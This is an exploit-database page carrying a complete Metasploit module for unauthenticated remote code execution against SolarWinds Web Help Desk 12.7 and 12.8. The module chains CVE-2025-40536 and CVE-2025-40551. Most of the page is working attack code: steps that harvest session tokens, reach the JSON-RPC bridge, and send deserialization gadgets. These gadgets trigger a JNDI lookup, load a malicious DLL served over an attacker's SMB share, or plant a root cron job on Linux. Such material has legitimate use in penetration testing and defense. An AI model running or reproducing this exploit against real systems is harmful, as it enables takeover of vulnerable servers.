| Reporter | Title | Published | Views | Family All 45 |
|---|---|---|---|---|
| Exploit for CVE-2025-40554 | 31 Jan 202608:17 | – | githubexploit | |
| CVE-2025-40536 | 28 Jan 202607:30 | – | attackerkb | |
| CVE-2025-40551 | 28 Jan 202607:33 | – | attackerkb | |
| CVE-2025-40536 | 28 Jan 202610:19 | – | circl | |
| CVE-2025-40551 | 28 Jan 202610:02 | – | circl | |
| SolarWinds Web Help Desk Security Control Bypass Vulnerability | 12 Feb 202600:00 | – | cisa_kev | |
| SolarWinds Web Help Desk Deserialization of Untrusted Data Vulnerability | 3 Feb 202600:00 | – | cisa_kev | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 12 Feb 202612:00 | – | cisa | |
| CISA Adds Four Known Exploited Vulnerabilities to Catalog | 3 Feb 202612:00 | – | cisa | |
| SolarWinds Web Help Desk code-related vulnerabilities | 28 Jan 202600:00 | – | cnnvd |
=============================================================================================================================================
| # Title : SolarWinds Web Help Desk – Unauthenticated RCE via Access Control Bypass & Unsafe Deserialization |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits) |
| # Vendor : https://www.solarwinds.com/web-help-desk |
=============================================================================================================================================
[+] Summary : This Metasploit module targets SolarWinds Web Help Desk and exploits two chained vulnerabilities:
CVE-2025-40536 – Access control bypass
CVE-2025-40551 – Unsafe Java deserialization leading to Remote Code Execution
The attack does not require authentication.
[+] High-Level Exploitation Flow
Initial Session Establishment
Retrieves application version, platform (Windows/Linux), session cookies, and required tokens.
Login Preference Page Access
Extracts an internal externalAuthContainer reference.
SAML Object Trigger
Prepares internal state required to access JSON-RPC functionality.
JSON-RPC Bridge Creation
Identifies the internal AJAX endpoint used for backend method invocation.
Unsafe Deserialization Trigger
Sends crafted JSON data to backend WebObjects methods, resulting in arbitrary class instantiation and eventual code execution.
[+] Affected Versions
WHD 12.7.x
WHD 12.8.x
Windows and Linux deployments
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::JndiInjection
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::EXE
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SolarWinds Web Help Desk unauthenticated RCE',
'Description' => %q{
This module exploits an access control bypass vulnerability (CVE-2025-40536) and an unsafe deserialization
vulnerability (CVE-2025-40551) to achieve unauthenticated RCE against a vulnerable SolarWinds Web Help Desk (WHD)
server.
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka',
],
'References' => [
['CVE', '2025-40536'],
['CVE', '2025-40551'],
['URL', 'https://documentation.solarwinds.com/en/success_center/whd/content/release_notes/whd_2026-1_release_notes.htm'],
['URL', 'https://horizon3.ai/attack-research/cve-2025-40551-another-solarwinds-web-help-desk-deserialization-issue/']
],
'DisclosureDate' => '2026-01-28',
'Privileged' => true,
'Platform' => ['win', 'unix', 'linux'],
'Arch' => [ARCH_X64, ARCH_CMD],
'Targets' => [
[
'WHD 12.8.* on Windows (Native code payload)', {
'VersionStart' => '12.8',
'Platform' => 'win',
'Arch' => ARCH_X64
}
],
[
'WHD 12.8.* on Linux (Command payload)', {
'VersionStart' => '12.8',
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'BadChars' => '\''
},
'WfsDelay' => 90
}
],
[
'WHD 12.7.* on Windows (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1',
'Platform' => 'win',
'Arch' => ARCH_CMD
}
],
[
'WHD 12.7.* on Linux (Command payload)', {
'VersionStart' => '12.7',
'GadgetChain' => 'CommonsBeanutils1',
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD
}
],
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 8443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SERVICE_RESTARTS],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end
def check
session_ctx = step1_initial_session
CheckCode::Vulnerable("Detected Web Help Desk version #{session_ctx[:version]} (#{session_ctx[:platform]}).")
rescue Msf::Exploit::Failed => e
CheckCode::Unknown(e.to_s)
end
def exploit
print_status('Step 1 - Initial session...')
session_ctx = step1_initial_session
fail_with(Failure::BadConfig, "Remote target is running version #{session_ctx[:version]}, current Metasploit target gadget chain is for version #{target['VersionStart']}.*. Set a different target.") unless session_ctx[:version].start_with? target['VersionStart']
case target['Platform']
when 'win'
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :windows
when 'unix', 'linux'
fail_with(Failure::BadConfig, "Remote target is running on #{session_ctx[:platform]} but Metasploit target platform is #{target['Platform']}. Set a different target.") unless session_ctx[:platform] == :linux
else
fail_with(Failure::BadConfig, "Unexpected target platform #{target['Platform']}. Set a different target.")
end
session_ctx[:service] = get_target_service(session_ctx)
print_status('Step 2 - Login pref page...')
external_auth_container = step2_login_pref_page(session_ctx)
print_status('Step 3 - Trigger SAML object...')
step3_trigger_saml_object(session_ctx, external_auth_container)
print_status('Step 4 - Create JSON RPC bridge...')
jsonrpc_client = step4_create_jsonrpc_bridge(session_ctx)
print_status('Step 5 - Unsafe deserialization...')
get_target_gadgets(session_ctx).each do |gadget|
print_status(" Executing gadget - #{gadget[:title]}")
step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, gadget[:json_data], return_early: true)
Rex::ThreadSafe.sleep(2)
end
retry_until_truthy(timeout: datastore['WfsDelay']) do
!handler_enabled? || session_created?
end
unless session_ctx[:service].nil?
session_ctx[:service].cleanup
end
handler
ensure
cleanup_service
end
class SimpleSMBShareWrapper < ::Msf::Exploit
include ::Msf::Exploit::Remote::SMB::Server::Share
end
def get_target_service(session_ctx)
if target['VersionStart'] == '12.7'
start_service
return nil
end
return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
end
print_status("Serving a malicious extension over an SMB share on #{datastore['SRVHOST']} (SMB on TCP port 445)")
smb_service = SimpleSMBShareWrapper.new
smb_service.datastore['SRVPORT'] = 445
smb_service.datastore['SRVHOST'] = datastore['SRVHOST']
smb_service.setup
smb_service.file_contents = generate_payload_dll
smb_service.file_name += '.dll'
smb_service.start_service({
'ServerPort' => 445,
'ServerHost' => datastore['SRVHOST']
})
smb_service
end
def get_target_gadgets(session_ctx)
gadgets = []
if target['VersionStart'] == '12.7'
print_status("Malicious JNDI URL: #{jndi_string}")
gadgets.push({
title: 'Malicious JNDI lookup via ch.qos.logback.core.db.JNDIConnectionSource',
json_data: {
'javaClass' => 'ch.qos.logback.core.db.JNDIConnectionSource',
'jndiLocation' => jndi_string
}
})
elsif target['VersionStart'] == '12.8'
gadgets.push({
title: 'Registering the org.sqlite.JDBC driver',
json_data: {
'javaClass' => 'org.sqlite.JDBC'
}
})
if session_ctx[:platform] == :windows
print_status("Malicious SQLite extension UNC: #{session_ctx[:service].unc}")
gadgets.push({
title: 'Loading malicious extension over SMB',
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => 'jdbc:sqlite::memory:?enable_load_extension=true',
'connectionInitSql' => "SELECT load_extension('#{session_ctx[:service].unc}');"
}
})
elsif session_ctx[:platform] == :linux
random_name = Rex::Text.rand_text_alpha(8)
gadgets.push({
title: "Creating file in /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => 'CREATE TABLE a (b TEXT UNIQUE);'
}
})
gadgets.push({
title: "Dirty file write to /etc/cron.d/#{random_name}",
json_data: {
'javaClass' => 'com.zaxxer.hikari.HikariDataSource',
'driverClassName' => 'org.sqlite.SQLiteDataSource',
'jdbcUrl' => "jdbc:sqlite:/etc/cron.d/#{random_name}",
'connectionInitSql' => "INSERT OR IGNORE INTO a (b) VALUES ('\n* * * * * root #{payload.encoded}\n');"
}
})
end
else
fail_with(Failure::BadConfig, "Unexpected target version #{target['VersionStart']}. Set a different target.")
end
gadgets
end
def build_ldap_search_response_payload
build_ldap_search_response_payload_inline(target['GadgetChain'])
end
def step1_initial_session
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa'),
'headers' => {
'x-webobjects-recording' => '1'
}
)
fail_with(Failure::UnexpectedReply, 'Step 1 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 1 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{"/helpdesk/\w+/\w+\.css\?v=([\d_]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract version') unless m
version = m[1].gsub('_', '.')
vprint_status("Version: #{version}")
m = res.body.match(%r{src="/helpdesk/WebObjects/Helpdesk\.woa/wr\?wodata=(jar[^"]+)"})
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to extract resource path') unless m
resource_path = Rex::Text.uri_decode(m[1])
platform = if resource_path =~ %r{file:////.:/}
:windows
else
resource_path =~ %r{file:///Applications/} ? :mac : :linux
end
vprint_status("Platform: #{platform}")
cookies = res.get_cookies
jsessionid = cookies.scan(/JSESSIONID=([A-Za-z0-9]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get JSESSIONID') unless jsessionid
vprint_status("JSESSIONID: #{jsessionid}")
xsrf_token = cookies.scan(/XSRF-TOKEN=([A-Za-z0-9-]+);*/).flatten[0] || nil
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get XSRF-TOKEN') unless xsrf_token
vprint_status("XSRF-TOKEN: #{xsrf_token}")
x_webobjects_session_id = res.headers['x-webobjects-session-id']&.to_s
fail_with(Failure::UnexpectedReply, 'Step 1 - Failed to get x-webobjects-session-id') unless x_webobjects_session_id
vprint_status("x-webobjects-session-id: #{x_webobjects_session_id}")
{
version: version,
platform: platform,
jsessionid: jsessionid,
xsrf_token: xsrf_token,
x_webobjects_session_id: x_webobjects_session_id
}
end
def step2_login_pref_page(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 2 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 2 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{id="externalAuthContainer" updateUrl="/(helpdesk/WebObjects/Helpdesk\.woa/ajax/\d+\.\d+)"})
fail_with(Failure::UnexpectedReply, 'Step 2 - Failed to extract externalAuthContainer') unless m
external_auth_container = m[1]
vprint_status("externalAuthContainer: #{external_auth_container}")
external_auth_container
end
def step3_trigger_saml_object(session_ctx, external_auth_container)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, external_auth_container),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => "0.7.1.3.1.0.0.0.1.1.0=1&_csrf=#{session_ctx[:xsrf_token]}"
)
fail_with(Failure::UnexpectedReply, 'Step 3 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 3 - Unexpected response code #{res.code}") unless res.code == 200
end
def step4_create_jsonrpc_bridge(session_ctx)
res = send_request_cgi(
'method' => session_ctx[:version].start_with?('12.8') ? 'GET' : 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', "#{Rex::Text.rand_text_alpha(8)}.wo", session_ctx[:x_webobjects_session_id], '1.0'),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'vars_get' => {
Rex::Text.rand_text_alpha(8) => '/ajax/',
'wopage' => 'LoginPref'
}
)
fail_with(Failure::UnexpectedReply, 'Step 4 - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 4 - Unexpected response code #{res.code}") unless res.code == 200
m = res.body.match(%r{JSONRpcClient\('/helpdesk/WebObjects/Helpdesk\.woa/ajax/([\d.]+)'\);})
fail_with(Failure::UnexpectedReply, 'Step 4 - Failed to extract JSONRpcClient') unless m
jsonrpc_client = m[1]
vprint_status("JSONRpcClient: #{jsonrpc_client}")
jsonrpc_client
end
def step5_trigger_unsafe_deserialization(session_ctx, jsonrpc_client, json_data, return_early: false)
random_id = rand(1..0xffff)
random_name = Rex::Text.rand_text_alpha(8)
allowlist = [
'parentpopup', 'wonoselectionstring', 'dummy', 'mdssubmitlink', 'mdsform__enterkeypressed',
'mdsform__shiftkeypressed', 'mdsform__altkeypressed', '_csrf'
]
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.setVariableValueForName',
'params' => [
random_name,
json_data
]
}.to_json
)
fail_with(Failure::UnexpectedReply, 'Step 5A - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5A - Unexpected response code #{res.code}") unless res.code == 200
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'helpdesk', 'WebObjects', 'Helpdesk.woa', 'wo', jsonrpc_client),
'headers' => {
'X-Xsrf-Token' => session_ctx[:xsrf_token],
'Cookie' => "JSESSIONID=#{session_ctx[:jsessionid]}"
},
'data' => {
Rex::Text.rand_text_alpha(8) => "java.#{allowlist.shuffle.join}",
'id' => random_id,
'method' => 'wopage.variableValueForName',
'params' => [random_name]
}.to_json
)
unless return_early
fail_with(Failure::UnexpectedReply, 'Step 5B - Connection failed') unless res
fail_with(Failure::UnexpectedReply, "Step 5B - Unexpected response code #{res.code}") unless res.code == 200
end
end
end
Greetings to :======================================================================
jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
====================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation